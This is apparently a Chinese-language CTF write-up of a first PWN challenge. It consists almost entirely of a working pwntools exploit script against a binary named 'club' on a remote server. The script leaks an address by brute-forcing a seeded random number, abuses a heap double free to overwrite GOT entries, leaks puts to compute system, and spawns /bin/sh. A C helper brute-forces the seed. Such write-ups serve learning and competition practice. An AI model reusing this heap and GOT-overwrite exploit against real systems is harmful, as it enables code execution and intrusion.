记第一次解PWN题目
# -*- coding: cp936 -*- from pwn import * g_local=False #不设置log_level为debug会导致程序的输出不显示出来 context.log_level = 'debug' if g_local: #启动程序 p = process('./club') #调试器附加该程序 #gdb.attach(p) else: #连接远程服务器 p = remote('123.206.22.95',8888) #修改缓存区内容 def edit(index,content): p.send('3') p.recvuntil('> ') p.send(str(index+1)) p.send(content) p.send('\x0a') p.recvuntil('> ') #申请一段内存 def create(index,size,content): p.send('1') p.recvuntil('> ') p.send(str(index+1)) p.recvuntil('> ') p.send(str(size)) p.recvuntil('> ') edit(index,content) #释放一段内存 def delete(index): p.send('2') p.recvuntil('> ') p.send(str(index+1)) p.recvuntil('> ') def delete2(index): p.send('2') p.recvuntil('> ') p.send(str(index+1)) def getpwn(): system_off = 0x45390 puts_off = 0x6f690 #got_addr = 0x202018 #p_addr=0x202128 #puts_plt = 0x8A0 #seed_addr=0x202148 p.recvuntil('> ') p.send('5') p.recvuntil('> ') p.send('1') p.recvuntil('> ') p.send('5') p.recvuntil('> ') #程序会用一个全局变量的基地址当作随机种子,并生成随机数让你猜 #猜对了就会显示这个全局变量的基地址 #伪随机算法存在一个问题,如果种子一样,那么生成的随机数也一样 #所以可以通过使用同样的随机函数库来穷解求出接下来的随机数 secondrandom=input('input second random...\n') p.send(str(secondrandom)) p.recvuntil(': ') r=p.recvuntil('!') numstr=r[0:len(r)-1] seed_addr=long(numstr) #获得全局变量基地址 log.info('seed_addr:'+hex(seed_addr)) #通过这个基地址,计算GOT表地址,数组地址,puts函数地址, got_addr=seed_addr-0x130 p_addr=seed_addr-0x28 puts_plt=seed_addr-0x2018a8 p.recvuntil('> ') create(0,0x20,'0000') #利用double free漏洞,最终使*p=p-0x18 create(2,0x120,'2222') create(1,0x110,'1111') delete(2) delete(1) payload = p64(0)+p64(0x121)+p64(p_addr-0x18)+p64(p_addr-0x10)+'A'*(0x120-0x20)+p64(0x120)+p64(0x240-0x120) create(3,0x240,payload) delete(1) #修改x[3]相当于在修改&x[3]-0x18=>>&x[0] edit(3,p64(got_addr)+p64(got_addr+0x10)) #由于got表的第一项为free函数,所以这里将free函数修改为了puts函数 edit(0,p64(puts_plt)) #输出got_addr+0x10的内容,即输出glibc模块中puts的地址 delete2(1) #利用偏移可以计算出system函数地址 puts_addr = p.recv(6) log.info('puts_addr:'+puts_addr) system_addr = u64(puts_addr+'\x00'*2)-puts_off+system_off log.info('system address:'+hex(system_addr)) p.recvuntil('> ') #最终调用system拿到shell edit(2,'/bin/sh\x00') edit(0,p64(system_addr)) delete2(2) p.interactive() #最后不要忘记了输入ls命令,取得flag getpwn();
猜随机数的代码
#include <stdio.h> #include <stdlib.h> int main() { int n,k; puts("输入第一个随机数:"); scanf("%d",&k); printf("随机数:%d\n",k); for (int i=0;i<=0xfffff;i++) { n=(i<<12)|0x148; srand(n); if (rand()==k) { printf("第二个随机数:%d",rand()); break; } } }